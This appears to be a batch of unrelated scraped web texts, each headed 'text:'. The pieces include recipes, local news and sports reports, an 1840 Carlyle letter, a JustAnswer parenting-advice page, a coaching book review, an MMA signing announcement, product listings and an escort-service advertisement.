- Slice the prosciutto into small squares, and place into each fillo shell, on top of the Nutella drop.
- In a large bowl, combine the Brie, honey and heavy cream until smooth, using a hand mixer.
- Spoon the Brie mixture into the prepared fillo shells and garnish with strawberry halves. Serve at room temperature.
Chocolate Waffles
- 1 1/3 cups all-purpose flour
- 2/3 cup Cocoa Powder
- 1 1/2 tsp baking powder
- 1/2 tsp baking soda
- 1/2 tsp sea salt
- 3/4 cup granulated sugar
- 2 eggs
- 6 tbsp melted unsalted butter
- 1/3 cup sour cream
- 1/2 tsp vanilla extract
- Heat your waffle iron to medium-high to high heat.
- Combine the flour, cocoa powder, baking powder, baking soda, and sea salt in a medium mixing bowl; gently whisk until combined.
- In a large bowl, cream the sugar and eggs until smooth in texture. Add the melted butter, sour cream and vanilla extract; blend until smooth.
- Add the flour mix and whisk once more until the batter is combined. A lumpy batter is just fine! Prepare the batter in the waffle iron according to the manufacturer's instructions. To warm the waffles before serving, place them on an oven rack at 150 degrees Fahrenheit.
Lemon Sorbet Bellini
- 1 small scoop of softened lemon sorbet
- 5 oz Brut champagne
- 2 – 3 strawberry halves, for garnish
- Pour champagne into a chilled champagne flute. (The easiest way to chill the glass is to fill it with ice and add a little cold water; let is sit for about 5-10 minutes and dump out the ice water).
- Add small scoop of softened lemon sorbet to the champagne and garnish your bellini with strawberry halves by placing them on the rim of the flute.
So whether you're single or taken, you can enjoy these recipes year round. They're easy to make, slightly decadent and are bound to impress your loved ones.
Want more of Adrian? Check out this great video, where he teaches you how to make his sinfully mouthwatering Bacon Caramel Muffins.


text:
Brand new sample. In amazing condition!
- Alterations: None
- Preservation Method:
- Terms of Sale: All Sales Final
- Original Owner:
- Has Original Receipt:
- Location: Charleston, SC
- Will Ship to: Anywhere at Buyer Expense
- Payment Methods Accepted: Other
Please read our BUYER'S GUIDE before purchasing a dress online.


text:
By Chris Jay 07/31/2014
The Ferris wheel has been constructed. The livestock grow plump in the barn. The bingo tent is ready to tempt the get-rich-quick crowd. Carnies are putting the finishing touches on games that Congress could investigate for tampering and corruption. Yes, once again, the Ventura County Fair is set to shine like a gluttonous beacon by the sea.
A quick look at this year's lineup — awhile not as strong as perhaps the past few years, it still offers something for everyone. From oldies act with only one original member, like The Beach Boys and The Spinners, to oldies acts that have two original members, like Creedence Clearwater Revisited and Deep Purple, to the weekend dress-up cowboy and country-girl crowd who will down domestic beer to the radio-friendly sounds of Jake Owens and Little Big Town, the fair's main demographics should be happy with the options.
This year, however, the act that's the most interesting is Canada's Barenaked Ladies. Here are 10 good reasons why the band with the of- maligned name is not to be missed.
Hits. Hits. Hits.
Even if you think you don't know Barenaked Ladies, chances are you do. One of the catchiest songs of the past 20 years, "One Week," reached No.1 on the Billboard Charts, was nominated for Grammys, Billboard Music Awards, Junos, VMAs and virtually every music award imaginable. In addition, there's a good chance you've hummed along to one of the following songs at some point: "If I Had A Million Dollars," "Brian Wilson," The Old Apartment," "Pinch Me" and many more. Still think you don't know any BNL songs? How about the ultra-catchy theme to the hit TV show The Big Bang Theory? Yeah. We knew you knew at least one song.
Cream of the crop
Everyone knows Ben and Jerry's rock-related ice cream flavors such as Phish Food (Phish) and One Sweet Whirled (Dave Matthews), but did you know that If I Had A Million Flavors (sometimes known as Everything but the . . . ) is an homage to a Barenaked Ladies song? In a classy move, the band gives all its royalties from the ice cream to charity.
Mother Nature's sons
Since before going green was cool, Barenaked Ladies have been proponents of environmentalism. Their tours are arguably the greenest of any modern artists, using biodiesel fuel, recycling all drink and food products and utensils backstage, and always having environmental organizations with booths and information at their shows.
No planetary constraints
In February 2013, Barenaked Ladies participated in what was billed as the "first space-to-earth musical collaboration" when it jammed with a Canadian astronaut at the International Space Station, along with a Canadian student choir.
Founding member and lead singer, the perpetually smiling Ed Robertson, survived a plane wreck when the private jet in which he and three other passengers were traveling, crashed. All on board walked away with no serious injuries. Keyboardist Kevin Hearn, at the peak of the band's commercial success, was diagnosed with chronic myelogenous leukemia, which required bone marrow transplants. Not only did he beat the cancer, he went on to release a tremendous solo record about the experience called H-Wing.
Famous fanbase
Barenaked Ladies is on record as being Paul McCartney's favorite modern band, with Sir Paul saying that he and John Lennon never had harmonies that good. Need more? The Beach Boys' resident genius Brian Wilson covered the Barenaked Ladies song "Brian Wilson" in concert. That's props from a Beatle and a Beach Boy.
The name that keeps on giving
It may be somewhat of a cheap joke, but, hey, it's still pretty funny to proudly announce you're taking the family to the county fair to see (drum roll) Barenaked Ladies.
Barenaked Ladies will perform on Monday, Aug. 4, at the 2014 Ventura County Fair. For the full schedule of entertainment visit www.venturacountyfair.org.
DIGG | del.icio.us | REDDIT


text:
RSS | Free Trial
Home | Advertise | Classifieds | About | Contact
Sign In
Reader Comments (0)
By AL STOVERStaff Reporter
Despite record Cheney falls short of playoffs
July 24, 2014 | Vol. 118 -- No. 14
Despite having a 11-5 regular season record, the Cheney SummerHawks AA American Legion baseball team did not make the district playoffs.
Toward the end of the season, Cheney was in a close race with Colville for second place in the Federal League. Colville, with a 12-3 record, ended up in the No. 2 spot while Freeman clinched first in the league.
Although Cheney failed to make it to the postseason, SummerHawks manager Kadeem Smalls was proud of his team's progress throughout the summer.
"I knew these guys could be dangerous," Smalls said. "We did a good job toward the end. The gu...
For access to this article please sign in or subscribe.
Cheney Free Press | 1616 W. First St., Cheney, WA 99004
Ph: (509) 235-6184 | email@example.com | www.cheneyfreepress.com Content and information copyright 2015 Free Press Publishing Inc.
Powered by ROAR Online Publication Software
© Copyright 2015 Lions Light Corp.
— Software for newspapers & magazines


text:
Panthers close to champagne popping; Theodore to show Wild he should've started
If the Panthers win tonight against the reeling Wild and Washington loses in Boston then a win against Columbus tomorrow would clinch first place in the Southeast Division and a playoff berth.
Panthers goalie Jose Theodore shared the net last season in his one year in Minnesota going 15-11-3 so he'd love to show them why the Panthers are about to clinch a playoff berth and the Wild players are getting ready for the golf course. Also John Madden played 76 games for Minnesota last year and wasn't asked back.
The Wild welcome old and new players back tonight including Jason Zucker, 20, a highly touted prospect who completed his sophomore year in Minnesota recently and was signed to a three-year entry level deal Tuesday. In 78 games with the Pioneers, Zucker produced 91 points on 45 goals and 46 assists.
Also returning is Niklas Backstrom after a month out with a groin injury. Justin Falk returns to the blue line after missing nine games with a lower body injury.


text:
Brunswick horse dies of EEE
Published: Tuesday, November 6, 2012 at 5:44 p.m.
Last Modified: Tuesday, November 6, 2012 at 5:44 p.m.
Bolivia | A colt that died of Eastern equine encephalitis in Brunswick County is the 19th confirmed case of the almost-always fatal disease in horses in North Carolina this year, county health officials said Tuesday.
Previous cases of the mosquito-transmitted disease in horses were reported in Bladen, Carteret, Columbus, Cumberland, Durham, Harnett, Onslow, Pitt, Richmond, Robeson and Sampson counties, according to the U.S. Geological Survey Disease Maps 2012 website.
Though rare in humans, Eastern equine encephalitis is a very serious illness and can be fatal. North Carolina has one reported case of Eastern equine encephalitis in a human for 2012, in Cumberland County, the USGS website says.
County health officials urged hunters and other outdoorsmen to minimize their exposure to mosquitoes from dusk to dawn.
– Jim Ware
Reader comments posted to this article may be published in our print edition. All rights reserved. This copyrighted material may not be re-published without permission. Links are encouraged.


text:
TC TO JOHN A. CARLYLE ; 5 September 1840; DOI: 10.1215/lt-18400905-TC-JAC-01; CL 12: 238-240
5. Cheyne Row, Chelsea, / 5 Septr 1840—
My dear Brother,
"Readier to be written to than to write":1 that is precisely my own case too, at present, and indeed generally! However, I must send you a word before the Sunday intervene.
My Lectures ended the day before yesterday: a sorry job, which I am glad to see off my hands, and lying written for Printing, for Combustion, or whatever else. Most probably, after it has lain a while, I shall go over it again, and with certain parings and addings send it to the Press. It is what I had got to say in those days; better than nothing or else worse. The style of the thing disgusts me exceedingly; but there are truths in it which the people might as well know, and did not seem to know.
I might now embark anywhither; but the weather has got suddenly wet. Expense goes for something with a man whose shillings have to be all numbered. Annandale, except for my good Mother, seems questionable. I have got Steamboat Bills, and study them; I have undertaken nowhither as yet. The Town itself is one of the loneliest places: indeed in what place are there many companions one can get as much pleasure from as an honest silent Book will give? Milnes will have me come and see him in the South of Yorkshire; but it is only in the end of this month. Had he been there at present, I could almost have ventured on him, and gone Northward that way. I find the Newcastle Steamer much cheaper than the Dundee one; and two days nearer. Perhaps I ought to go and fling myself among fellow creatures? I am very bilious, frettable; inconclusive too;—and the weather is very brittle! In a few days, I shall either go, or have determined not to go. You can always write hither till you hear.
David Aitken and his Wife2 were with us yesterday; returning from a three-months continental tour. Very wizzened, very wearisome: and they had to be asked back tomorrow, for decency's sake, to dine! The "immortal Creek"3 has been called in; a solid featherbed to stand the brunt of ennui! Poor Aitken is devoured with secret vanity; and his cash has literally only made him wretcheder. A twaddling Doctor-Brunton Triviality, Dilettantism in a Geneva gown;4—almost untholable [unendurable], yet which must be tholed for an hour or two.
Did I ever tell you that poor old Basil Montagu has, even in the pecuniary sense, gone to pot? They have a "Subscription among Friends" on foot for him; Swanston and others at the bottom of it: his debts turn out to be £12,000 in overplus, no mortal can guess how, and he and his affairs entirely an inextricable coil!5 I feel real sorrow for Mrs Montagu; hardly any for any of the others. Bedlam and the Pit of Lies is their native country, and goal of return, for most of them or all. The youth Charles, as they represent him, seems marching very fast: an unmentionable scoundrel!6 — Poor Mrs Montagu we fear must be almost broken: Jane sent her a gift the other day, and there has no Threepenny come in return!
Some weeks ago, one night, the Poet Tennison and Mathew Allan [sic] were discovered here, sitting smoking in the garden. Tennison had been here before, but was still new to Jane,—who was alone for the first hour or two of it. A fine large-featured, dim-eyed, bronze-coloured, shaggy-headed man is Alfred; dusty, smoky, free-and-easy: who swims, outwardly and inwardly, with great composure in an inarticulate element as of tranquil chaos and tobacco-smoke; great now and then when he does emerge: a most restful, brotherly, solidhearted man. Allan looked considerably older; speculative, hopeful, earnest-frothy as from the beginning.7——— I have not yet put down your Name for the Library. Think whether you do want it; whether my share will not do for you.
I will write again whether hearing from you or not if I rush off anywhither. Write you as soon as you like, as you can.
If you go to the O[r]kneys, our chance of meeting will be at zero till you come back. At Oban, it was not great. On the Ayrshire Coast, we might manage.8
You do not say now at what rate you are engaged; nor for what extent of time. If you do good to the poor Patient, why should you not be content? It is to be doing good. Few people can certainly say of themselves so much. The most are but consuming victual; a malefaction and theft if there be not work returned for it, in the shape of improvement to some man or thing!
I enclose a letter from Thomas Murray: the old man.9 His Hodgson,10 a Liverpool Windbag of the Lecturing sort seemingly, did not get me at home.
Adieu dear Jack / Yours ever / T. Carlyle


text:
Why she's interesting: The Cleveland Museum of Natural History's curator of paleobotany and paleoecology was among a team of researchers who discovered a juvenile skull of the fossil ape Lufengpithecus in Yunnan Province, China. Skulls of apes and hominins — particularly those of infants and young juveniles — are extremely rare. This is only the second relatively complete skull of its kind in the entire Miocene record of fossil apes throughout the Old World.
Field Guide: As a 5-year-old, Su was fascinated by Early Man, a volume in a set of Time-Life books her parents bought for her and her older sisters. "It had this picture of a Neanderthal skull on the front cover. I loved that book! I loved going through it — I loved the pictures. Now, I have to admit part of it may be because my older sister hated that book. She would hide it, and then I would go find it."
Love Connection: Su is married to Yohannes Haile-Selassie, the Cleveland Museum of Natural History's curator of physical anthropology. The couple, who met as students at the University of California at Berkeley, maintained a commuter marriage until she left her position as assistant professor of anthropology at Bryn Mawr College, near Philadelphia, for her current job 18 months ago. But proximity to her husband isn't the first office perk she mentions — flexibility in scheduling fieldwork in far-flung locales is. "I get to basically take off whenever I need to."
Into the Wild: Su frequents sites in Africa, known as the birthplace of human lineage, primarily those in Tanzania. "There's no running water. There's no electricity. We're basically camping in the field for about a month or so." There are, however, wild animals. "At night, you can hear the lions and hyenas going at each other, and sometimes they're very close by to camp."
Unexpected Discovery: Su focuses on studying the past environments in which humans evolved 3 million to 6 million years ago by looking at fossils of animals and plants. She traveled to the Yunnan Province site at a mentor's invitation to examine the environment in which elephant fossils, dated 5 million to 10 million years old, were found. While she was there, she shared in the excitement as colleagues brushed sediments away from the juvenile ape cranium. "It was just this little face staring out at you from the ground. It was really amazing! I actually stood there for a while, just staring [back] at it."
Weather Woes: During a summer trip to Tanzania in 2001, a succession of storms filled the skies with lightning and turned dry creek beds into dangerous rushing streams. "We could do very little fieldwork. We essentially had to push our Land Cruiser everywhere, because it would get stuck in the mud."


text:
Forgot Password? | Not a User? Sign up
Your browser does not support iframes.
The Florida Supreme Court entertained arguments Tuesday from an attorney from Gretna Racing and a state deputy solicitor general regarding whether Creek Entertainment Gretna should be allowed to implement slot machines.
With two weeks left for candidates to qualify for local 2016 elections, a number of candidates have already filed for Sheriff, Property Appraiser, Superintendent of Schools and several County Commissioner and School Board seats.
The only positions where only one person has applied for candidacy are Supervisor of Elections, Clerk of Courts and Tax Collector, which are all being pursued by their incumbents: Shirley Knight, Nicholas Thomas and W. Dale Summerford, respectively.
The county will receive $387,575 in grant funds from the Department of Economic Opportunity for the construction of a 1,750-linear-foot road in Midway and the extension of water, wastewater and electric utilities infrastructure, as the Board of County Commissioners approved the deal at their Tuesday night meeting.
Budget discussions for the county's 2017 fiscal year began Thursday afternoon in the commission chambers.
County Administrator Robert Presnell told the county commissioners who attended the meeting — Brenda Holt and Anthony Viegbesie — the county may be a couple hundred thousand dollars short on funds needed for the proposed new agriculture center.
Rush-hour traffic from Tallahassee into Midway was stalled for nearly 40 minutes this past Thursday afternoon as firefighters extinguished the fire of a blazing PT Cruiser.
According to the Midway Police Department, the car's driver was headed to her Midway home when a parallel driver alerted her that her car had caught fire. MPD says the fire appears to have been caused by mechanical issues.
The woman and her passengers were able to escape the car and find ground a good distance away from it before the car
A Sunday evening party thrown weekly at a Midway park has been indefinitely canceled.
Though the parties were well attended — or perhaps because of that fact — it had inspired the furor of many community members.
The Midway Police Department posted a message on their Facebook page announcing the cancelation, writing "HANGOUT SUNDAYS in Midway are CANCELED. The event has outgrown the capacity of the City and its resources."
Third-graders at Gadsden Elementary Magnet School and Stewart Street Elementary passed the state's reading test at a rate far above the state's 54 percent.
However, the rest of the county's third-graders came in below the state average.
West Gadsden High School graduates of the Class of 2016 celebrated the ending of their high-school careers in the school's packed gym Friday evening surrounded by family and friends.
In addition to thanking their parents and teachers for assisting them through their matriculation, valedictorian Allison Avelar and salutatorian Evelin Tomas encouraged their fellow graduates to continue striving for success and happiness, or as Tomas said, "keep on swimming."
Quincy commissioners saved the Men of Action a $5,000 headache when they granted the nonprofit a license agreement authorizing the organization to keep their air conditioners situated on a piece of city property near the organization's
Men of Action's backing financial institution had notified the nonprofit that the equipment encroachment into city property created a risk that could require the city to ask the nonprofit to move the air conditioner any time.
Copyright © 2016
The Gadsden County Times is your source for local news, sports, events and information in Gadsden County and Quincy, FL, and the surrounding area.


text:
Contact Us
Mental Health
Have Mental Health Questions? Ask a Psychiatrist Online
Ask an Expert
Medical Questions
Mental Health Questions
How JustAnswer Works:
Ask an Expert
Experts are full of valuable knowledge and are ready to help with any question. Credentials confirmed by a Fortune 500 verification firm.
Get a Professional Answer
Via email, text message, or notification as you wait on our site.
Ask follow up questions if you need to.
100% Satisfaction Guarantee
Rate the answer you receive.
Ask Kate McCoy, M.Ed, NBCC, LPC Your Own ...
Kate McCoy, M.Ed, NBCC, LPC
Mental Health
Satisfied Customers:
Over 20 years experience specializing in anxiety, depression, drug and alcohol, and relationship issues.
Type Your Mental Health Question Here...
Kate McCoy, M.Ed, NBCC, LPC is online now
I am a single parent of a 20 year old son. He is in his 2nd
Resolved Question:
I am a single parent of a 20 year old son. He is in his 2nd year of university and is not doing very well. He is just barely passing, although he is extremely bright. . Today i learned he has not paid his rent because he has been away from home. It's not that he spent the money elsewhere, he just forgot? to pay, in spite of the fact that i reminded him 2 days before it was due. I am struggling with how to respond. Part of me wants to let the natural consequences unfold. And part of me feels that this reflects some poor parenting on my part and I need to do something here to help him. By that i mean not 'rescue' him but take a firmer stand. I have definitely been a 'hovering helicopter' kind of mom so far. If i should take a stand, I'm not sure what that stand should be. My son and I are close, and I don't want to hurt our relationship. I don't want to hurt him by doing nothing either.
3 years ago.
Mental Health
Share this conversation
Kate McCoy, M.Ed, NBCC, LPC
replied 3 years ago.
Hello, I'd like to help you with your question.
It is very tempting as a parent to always be there for your child, even when they grow up and move on. You can't just shut off that parental instinct even if they are an adult.
However, as much as it pains you to see your son not living up to his potential, letting him suffer his own consequences can often be extremely helpful to him. Your son may have grown used to you being there for him knowing that he does not have to worry about dealing with his own issues. And that can take failure and making mistakes out of the equation giving him an excuse to not be responsible. Learning to cope with mistakes and responsibilities is part of being on your own.
Learning by mistake is often the best way to learn. And as parents, though it is hard to watch your child go through a tough time, letting them discover their own faults and mistakes is often the best way to show love for your child. They not only fall down but they learn how to fix situations themselves and take care of themselves. And a self sufficient child is a strong child. You teach them not only how much they are loved but how to face adversity, which every person will face sometime in their lives. You want your child to be ok and be able to face life's problems now while you are there to love them and especially when you are gone and not able to be there for them.
It is perfectly fine to talk to your son and let him know you care and that he can turn to you if he really gets stuck or needs advice. But stepping in, reminding him of his responsibilities or even taking care of them for him is only setting him up for more failure. That balance between caring but not interfering can be difficult to find, but with practice you will. And your son will grow as a person and maybe even become more than you expect from him.
I hope this has helped you,
May I please request that if you find the service I provided helpful at all that you rate me with three or above? Your rating is the only way I am reimbursed for my answer. Thank you so much!
Kate McCoy, M.Ed, NBCC, LPC, Therapist
Mental Health
Satisfied Customers:
Over 20 years experience specializing in anxiety, depression, drug and alcohol, and relationship issues.
Kate McCoy, M.Ed, NBCC, LPC and other Mental Health Specialists are ready to help you
Ask your own question now
Share this conversation
JustAnswer in the News:
Ask-a-doc Web sites: If you've got a quick question, you can try to get an answer from sites that say they have various specialists on hand to give quick answers... Justanswer.com.
JustAnswer.com...has seen a spike since October in legal questions from readers about layoffs, unemployment and severance.
Web sites like justanswer.com/legal
...leave nothing to chance.
Traffic on JustAnswer rose 14 percent...and had nearly 400,000 page views in 30 days...inquiries related to stress, high blood pressure, drinking and heart pain jumped 33 percent.
Tory Johnson, GMA Workplace Contributor, discusses work-from-home jobs, such as JustAnswer in which verified Experts answer people's questions.
I will tell you that...the things you have to go through to be an Expert are quite rigorous.
What Customers are Saying:
I can go as far as to say it could have resulted in saving my sons life and our entire family now knows what bipolar is and how to assist and understand my most wonderful son, brother and friend to all who loves him dearly. Thank you very much
Corrie Moll
Pretoria, South Africa
I can go as far as to say it could have resulted in saving my sons life and our entire family now knows what bipolar is and how to assist and understand my most wonderful son, brother and friend to all who loves him dearly. Thank you very much
Corrie Moll
Pretoria, South Africa
I thank-you so much! It really helped to have this information and confirmation. We will watch her carefully and get her in for the examination and US right away if things do not improve. God bless you as well!
Albuquerque, NM
Outstanding response time less than 6 minutes. Answered the question professionally and with a great deal of compassion.
Beaverton, OR
Suggested diagnosis was what I hoped and will take this info to my doctor's appointment next week.
I feel better already! Thank you.
Tracy, CA
Thank you to the Physician who answered my question today. The answer was far more informative than what I got from the Physicians I saw in person for my problem.
Lockesburg, AR
You have been more help than you know. I seriously don't know what my sisters situation would be today if you had not gone above and beyond just answering my questions.
John and Stefanie
Tucson, AZ
I have been dealing with an extremely serious health crisis for over three years, and one your physicians asked me more questions, gave me more answers and encouragement than a dozen different doctors who have been treating me!!
Janet V
Phoenix, AZ
Meet The Experts:
Dr. Keane
Satisfied Customers:
Clinical Psychology PhD, Licensed Professional Counselor with experience in marriage/family, teens and child psychology.
Dr. Keane's Avatar
Dr. Keane
Satisfied Customers:
Clinical Psychology PhD, Licensed Professional Counselor with experience in marriage/family, teens and child psychology.
Kate McCoy, M.Ed, NBCC, LPC's Avatar
Kate McCoy, M.Ed, NBCC, LPC
Satisfied Customers:
Over 20 years experience specializing in anxiety, depression, drug and alcohol, and relationship issues.
Dr. Olsen's Avatar
Dr. Olsen
Satisfied Customers:
PsyD Psychologist
Norman M.'s Avatar
Norman M.
Principal psychotherapist in private practice. Newspaper contributor, over 2000 satisfied clients on JA
Satisfied Customers:
ADHP(NC), DEHP(NC), ECP, UKCP Registered.
Dr. Michael's Avatar
Dr. Michael
Satisfied Customers:
Licensed Ph.D. Clinical Health Psychology with 30 years of experience in private practive and as a clinical psychology university professor.
Rafael M.T.Therapist's Avatar
Rafael M.T.Therapist
Satisfied Customers:
MHT-MHRS-MS-MA Integral Psychotherapist & Life Coach
Steven Olsen's Avatar
Steven Olsen
Satisfied Customers:
More than twenty years of expertise in counseling, psychological diagnosis and education
Related Mental Health Questions
Date Submitted
I'm been suffering from some sadness from the passing of my
My wife wants to taper off zyprexa. Currently at 5mg, Yes
Linda D.
D., just got a new chipped credit card and registered it
Linda D.
Boyfriend calls me a liar and says he sees men leaving my
Linda D.
Suffer from depression and anxiety and feel very detached
Linda D.
Is Dr Z still here?
Linda D.
My Pa grew up without a bathroom or toilet in s house
Therapist Leslie
23 June 2016 05:27, You just replied to my first question
Linda D.
My problem is that I cry uncontrollably over things that 't
Linda D.
I have scars from attempted suicides, most visible on the
Linda D.
Ask a Mental Health Professional
Get a Professional Answer. 100% Satisfaction Guaranteed.
51 Mental Health Professionals are Online Now
Type Your Mental Health Question Here...
characters left:
Contact Us
Terms of Service
Privacy & Security
About Us
Our Network
© 2003-2016 JustAnswer LLC
JustAnswer UK
JustAnswer Germany
JustAnswer Spanish
JustAnswer Japan


text:
As police continue to investigate the deaths of two men found shot Tuesday in a Huntington Beach park, the sister of one said her brother was simply in the wrong place at the wrong time.
Police believe that Abraham Felmley, who was wanted in connection with two deaths and an arson in Sacramento, shot Robert Duran in Bartlett Park before taking his own life. Authorities have not released a possible motive for the suspected murder-suicide.
Esperanza Duran said her brother had spent time in the park, sometimes called Hidden Valley, since childhood.
He did not know Felmley, she said, but if he saw the man attempting suicide he would likely have intervened.
"That's just the kind of person" her brother was, she said.
A memorial is being planned for the 49-year-old Huntington Beach resident who was known to many who grew up on Orange County's punk-rock shows and parties.


text:
Modern Metal Playgroud Set has all the latest activities that will keep young children active and engaged for hours on end. This playset features a clubhouse with a hardtop roof, 2 belt swings, a trapeze bar, 9' wavy slide, propeller swing, climbing wall, cargo net, activity board, and a ships wheel with binoculars. Powder coated steel frame and heavy duty polyethylene plastic components are designed to last for years.
Overall dimensions are 13' 11" x 15' 9' with a total height of 11' 5", requiring a safety zone around the unit of 27' 9" x 29' 8". The clubhouse platform dimensions are 56" x 45". Swing chains are zinc coated to prevent rust and rubber coated for safety.
As with any outdoor activity item, all components should be checked regularly for wear and tear and to ensure that all fixtures are secure. Assembly required.


text:
News of Brad Pitt and Angelina Jolie getting married has fans delighted and surprised at how quiet the Hollywood couple kept their vows. With so many people knowing the stars might be marrying sooner (rather than later) it's a shock that friends and family gathered in France to share in the joyous event. According to Gossip Cop on Thursday, the stars are hiding their marriage no more as Brad Pitt promoted his WWII film called FURY.
The ring was properly displayed on his finger and seemed to cause more attention than the movie he was promoting. Looking find out details, the entertainer was tight lipped about the wedding, but it was his representatives that confirmed that the two got married and are officially starting their lives together. Previously fans could say it was unofficial, but with the kids and the career, there is no doubt this couple felt married and only needed the paperwork to prove it.
While fans were focused on Pitt's hands, his fashion for the event on Thursday was perfect for the Hollywood hunk. Brad decided on a casual ensemble as he layered his fashion with a charcoal grey blazer, a grey shirt and a brown top and simple blue jeans.
Hopefully in the days ahead Angelina Jolie's wedding and all the details will be shared with the fans around the world. As people are excited to know how it all come together and if the bride was wearing white. Plus people want to know all the details on what the kids were wearing too.


text:
This book without question is truly a Magnum Opus. With what seems to be a plethora of coaches popping up on Linkedin in and Twitter every day, I think this book over time will be seen as the sourcebook for what does and does not define someone as a "coach."
In profound and direct sentences, the author leads the reader on a journey into the realm of Somatic Awakening. Strozzi-Heckler writes, "In Somatic Coaching the first principle is to feel. When we feel we find ourselves aroused; we are transported to a more amplified level of aliveness…We find ourselves in new conversations and responsive urges that previously didn't seem to exist."
This takes "coaching" to a whole new level, one where it is about more than problem solving, or searching for a quick solution. It is about a journey into the depths of what it means to be fully human, to explore the full dimensionality within our selves of what Martin Buber would term, the "I and Thou."
The author continues, "Those who come to Somatic Awareness in this way are encouraged to deepen into the sensations and the felt sense of their life; to listen to what is being called forth from the deeper waters." And it is in these "deeper waters" that the quickening exists.
The author once shared a story from his own life with a group of us. He was invited to a conference of what was billed the "top" coaches in North America. There were fifty who were invited and attended. He reported in his narrative to us that he was amazed that none of these so-called "coaches" had a spiritual or meditative practice of any kind. None. I remember sitting there and thinking, "What? Is that really possible?"
Some time later, I attended a meeting of "coaches." A friend invited me to the meeting. Those present shared their philosophies of coaching, which mostly seemed to be about solving the client's problem externally without addressing the person. And then of course writing up the invoice and getting the check!
Strozzi-Heckler writes, "The nature of our life energy, however, is to circulate in an unbroken cycle of forming and re forming; it's life impulse to continuously move through the cycles of birth, growth, fruition, completing, and renewal." He then continues, hitting the nail on the head, "Our institutions have failed to educate us in how we can learn about ourselves, about nature, about the generativity of conflict, and about the cosmos through our bodies." [Italics mine]
And here's the kicker: "This physical, somatic, cosmic energy moves toward increasing life to sustain more life. The culture moves to bind this energy, to sustain society in the status quo. This is at odds with how we can collectively build community, how we can work through differences and face in the same direction to create something new and life affirming." [Italics mine]
Strozzi-Heckler observes, "The first step is to notice it."
More on this remarkable book will follow in future columns soon.
A side note: One reader from Switzerland contacted me and indicated she planned to purchase the book after reading my initial review. The way the cosmos flows together, I shouldn't have been surprised when we ran into each other at a Hilary Hahn concert at the Green Music Center last Sunday. She was visiting family and friends in Northern California. I shouldn't have been surprised! Really. Isn't that the way it all works?
"The Art of Somatic Coaching – Embodying Skillful Action, Wisdom, and Compassion" by Richard Strozzi-Heckler, North Atlantic Books, Berkeley, CA - US $18.95 – ISBN 978-1-58394-673-2


text:
Binns Management has just announced a huge signing. The undefeated World Series of Fighting Light Heavyweight prospect Kelvin Tiller (6-0) has just signed with Binns Management. Jimmy Binns Jr. of Binns Management released a press release announcing the signing:
Philadelphia, PA – Undefeated Light Heavyweight phenom KELVIN TILLER signs with Jimmy Binns Jr of BINNS MANAGEMENT. Tiller will be heading into the WORLD SERIES OF FIGHTING cage for his next fight on JUNE 6TH.
BINNS MANAGEMENT client Kelvin Tiller holds an undefeated Professional MMA record of 6-0, with three victories under the Bellator MMA banner. The Kansas native Tiller has been fighting in MMA since 2011, keeping his record flawless along the way and finishing five of his six victories. Tiller will be training at Balance Studios under Ricardo & Phil Migliarese. Phil (5th degree BJJ Black Belt) and Ricardo (4th Degree BJJ Black Belt under Relson Gracie) have been instrumental and key parts of some of the best prospects coming out of the East Coast region, with guys like Will Martinez, Sam Oropeza, Tim Carpenter, Mike Mucitelli, and now adding Kelvin Tiller to the list of top notch athletes.
Kelvin Tiller spoke on his partnership with Binns Management and how he feels this partnership will benefit his career,
"I met Jimmy Binns Jr through Sam Caplan [Matchmaker of Bellator MMA]. I wasn't getting the proper training I wanted at my other gym, and was looking for direction with management. Jimmy brought me over to Balance Studios to train with Phil and Rick Migliarese. I felt right at home there, and am sure we are going to have a great relationship together, and go after all my goals with these guys behind me. This just seemed like the right time for me, and I feel Jimmy Binns Jr. and Binns Management can take me to the next level. My job is to train and fight and I think with Jimmy's proven track record and credentials, Jimmy will take a lot of stress off me and get me the results I'm looking for. I believe we're going to go to the top together."
Tiller's thoughts on how he feels his World Series of Fighting bout will go,
"You can expect a finish. I don't like taking people down and laying on them, I like finishing fights. I know it's going to be a tough fight, but I love tough fights. We will see what happens on June 6th."
For more information on 215MMA and Binns Management go 'like' the 215MMA Facebook page and check out www.JimmyBinnsJr.com.
To follow Jimmy Binns Jr on Twitter check out his official social media accounts:
Suggested Links
- Bellator MMA 112: Straus vs Curran 3 preview featuring Binns Mgmts Sam Oropeza
- Binns Mgmt client Will Martinez advances in tournament; Bellator 110 results
- Binns Mgmt. has announced their very busy upcoming schedule (Details Inside)
- Interview with 215MMA and Binns Management CEO Jimmy Binns Jr.
- Binns Management client Sam Oropeza to fight in $100K Bellator MMA WW tourney!!


text:
Description: This high strength thread is perfect for use on leather, vinyl coated fabrics, denim, canvas and carpet materials. This thread is soft and flexible ensuring neat, flat seams. Thread comes on a cone.
go to product
Description: Mettler Seracor is a 100% Polyester sewing thread that can be used for the entire overlock range and has an excellent seam elasticity, connected with a filigree look. It sews evenly and gives absolutely flat, clean seams on all fabrics. ...
Description: Thanks to balanced elasticity and recovery, this extra strong thread is perfect for sewing any kind of clothing fabric and light weight fabric like rip-stop nylons and oxfords. Each stitch is uniform and seams do not pucker whether the fabric ...
Explore Fabric.com
We're here to help
Discover Fabric.com
Sewing Center
#MadeWithFabric #SewInLove


text:
VIP Escorts is a trusted and respected Virginia Beach Escort Service that has a long standing tradition of delivering stunning professional female escorts and strippers to those who demand quality in Virginia Beach and the surrounding cities. We alo service Norfolk, Chesapeake, Portsmouth, Hampton, Newport News, Suffolk and Williamsburg. If you are in a different city, call and we can let you know if we can travel there. We can provide service in a variety of environments. Our elite escorts can spend time with you in your home or hotel, as well as at your office or other locations. Typically you can arrange to spend time with one of our escorts with as little as 30 minutes notice. Of course, pre-booking your appointment can help ensure that you can get the girl you want, when you want. It is our goal to accommodate you to the upmost of our ability.
We have a full portfolio of the most beautiful escorts available in the Virginia Beach area. Whether you are looking for a blonde, brunette, redhead, Asian, Latina, or black girl we have a model sure to meet your specifications. From thin to voluptuous you can find what you are looking for here. Call us anytime and the booking agent on duty will assist you in scheduling a meeting with the girl best suited to satisfy your tastes. Gorgeous companionship is merely a phone call away.
